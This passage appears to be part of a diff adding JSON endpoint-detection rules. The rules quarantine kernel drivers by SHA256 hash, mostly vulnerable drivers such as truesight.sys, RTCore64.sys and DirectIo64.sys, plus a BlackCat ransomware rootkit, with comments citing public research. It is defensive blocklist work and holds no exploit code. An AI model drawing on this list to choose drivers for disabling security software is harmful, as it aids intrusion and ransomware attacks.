+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809787Z",
+  "creation_date": "2026-03-23T11:45:31.809790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5913062e399ea3ae003c55025eceed37270932168dc514f6ca7d03c87e5b804f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85c40e2b-8884-5494-b52a-c654a7727055",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152059Z",
+  "creation_date": "2026-03-23T11:45:31.152062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152070Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20e726f48bd86327c0e438667072983195c8140c50fe325598e343b5c8337e48",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85d2ed07-85a8-591f-8beb-1b63a279f39b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977587Z",
+  "creation_date": "2026-03-23T11:45:29.977589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5606dc2a76350916cd77348cfdfe502256d759a4743dd4af503d2f7f348eb70",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85d8a669-85ce-5232-a004-db477c3b7d51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144107Z",
+  "creation_date": "2026-03-23T11:45:31.144109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29e4972cbcdcff16e1dfa7bf57b046ecba8db445e987e436c303755faff61c89",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85e21733-1f36-5c31-8c10-e43e51b18d92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978721Z",
+  "creation_date": "2026-03-23T11:45:29.978723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978729Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f246b9d22b3ffe15f2e97f306d049020f38ed162150c97d7a72e3ae0b22c79ad",
+  "comment": "Vulnerable Kernel Driver (aka PanIO.sys) [https://www.loldrivers.io/drivers/5f70bde4-9f81-44a8-9d3e-c6c7cf65bfae/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85e3ab86-5a3d-50a2-a3e3-2d62d59446a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156569Z",
+  "creation_date": "2026-03-23T11:45:31.156571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2f3eaa8c165f2aabf97f24b14946b9a196317ee3082a26b82232bbab4bdba12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85e5a15d-d525-58ac-985f-f68251796e67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480469Z",
+  "creation_date": "2026-03-23T11:45:30.480472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edbb23e74562e98b849e5d0eefde3af056ec6e272802a04b61bebd12395754e5",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85ea8871-35a0-505f-9f4a-e0ca3acbf671",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142611Z",
+  "creation_date": "2026-03-23T11:45:32.142614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cd219f58b249a2e4f86553bdd649c73785093e22c87170798dae90f193240af",
+  "comment": "KingSoft Antivirus Security System Driver (aka ksapi64.sys and ksapi64_del.sys) [https://github.com/BlackSnufkin/BYOVD/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85ee9ba9-6420-5989-8246-afb39bca62f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146435Z",
+  "creation_date": "2026-03-23T11:45:32.146437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a74c2bde0c9a76486657ccb9c79ea87c9891a32cdd4aa15c7542f7c9487a539",
+  "comment": "Malicious Kernel Driver (aka driver_1a74c2bd.sys) [https://www.loldrivers.io/drivers/af153e7c-13fa-4a40-a095-00726ad6d783/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "85f4e67a-c2f9-5cb1-a105-c66d5690fc4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815897Z",
+  "creation_date": "2026-03-23T11:45:30.815899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65cf1a886b3e3ec8070bde31cb8e254cd623de1e8c7dd71248b84e6de77a08e6",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86017052-d7f2-5138-b7b0-b4ca8d2ead61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607724Z",
+  "creation_date": "2026-03-23T11:45:29.607725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "862d0ff27bb086145a33b9261142838651b0d2e1403be321145e197600eb5015",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "860e59bf-7bdf-5580-93bd-221822578e34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454536Z",
+  "creation_date": "2026-03-23T11:45:30.454539Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84cec13cf0e77ec889e6e01a265a8a5507c6e7d8b0ad6e971f346d2514a758fe",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86138443-ba7c-5a09-8c22-7e5c255d6c97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834186Z",
+  "creation_date": "2026-03-23T11:45:30.834189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d32a94e7f1d7ef2c5449dfbcd01274f8943fb506f41b29fad00d4db71e8dcd0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "861eb644-e365-58aa-8c2c-1b969b2448a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140381Z",
+  "creation_date": "2026-03-23T11:45:31.140383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140389Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9947a8428d025a046e5d9d8802d9a1884ddb324c52653abeffc1f501195b6931",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86266002-a6d6-5ddd-86d1-fb04af9c9c98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153596Z",
+  "creation_date": "2026-03-23T11:45:31.153598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f198254936c2675e7137733f1f927da705f7535e401fa6d87be14bd6d57fa46f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "862a2e41-bc36-59ea-8c4e-a7c9eafafde6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967177Z",
+  "creation_date": "2026-03-23T11:45:29.967181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967190Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b03a8bad9ecfcacc8e8a21ee310ce359e1382d7a5d5ce5284b32ecc2bcc4b8a",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "862b710a-71ec-5732-8ce5-f786dfb875d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812635Z",
+  "creation_date": "2026-03-23T11:45:31.812638Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a683ab7ebe5f4ac157908267f80123d548e1b273cea57e2485ec8ddc81820085",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86309dca-5932-52b4-9555-a809c55a3615",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479603Z",
+  "creation_date": "2026-03-23T11:45:31.479607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479617Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9564153321652f89ce43a81efe351be6eb3a8f84e7b02f8c2162f2f297b6b18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "863af704-e2b0-5ba6-a603-f42f06d519e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481442Z",
+  "creation_date": "2026-03-23T11:45:30.481445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6cb3418c1a512aef6b15586bf5234689d4e471e854103a72d80a8597d263403",
+  "comment": "Vulnerable Kernel Driver (aka phymem_ext64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8663209f-cc28-5174-8de6-339b60246770",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835859Z",
+  "creation_date": "2026-03-23T11:45:30.835861Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835867Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14d0649d4833f904071a57baea3184dcb289e28661fb95cd532fa2f7440e3cc1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8663bc9f-bf28-524b-a8ba-00115f5114ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985485Z",
+  "creation_date": "2026-03-23T11:45:29.985487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985492Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56066ed07bad3b5c1474e8fae5ee2543d17d7977369b34450bd0775517e3b25c",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka dkrTK.sys) [https://www.virustotal.com/gui/file/56066ed07bad3b5c1474e8fae5ee2543d17d7977369b34450bd0775517e3b25c/details] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8668aa98-3053-5d57-837c-e6a931bf0ee8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494986Z",
+  "creation_date": "2026-03-23T11:45:31.494988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87bcb6d213e862ffe9afd24a6417b02ccfd6a66808b130c803a7e1fa69eae2f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "866f0ebd-2c0e-5a35-af58-8d3f6bbc3bc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820618Z",
+  "creation_date": "2026-03-23T11:45:31.820621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
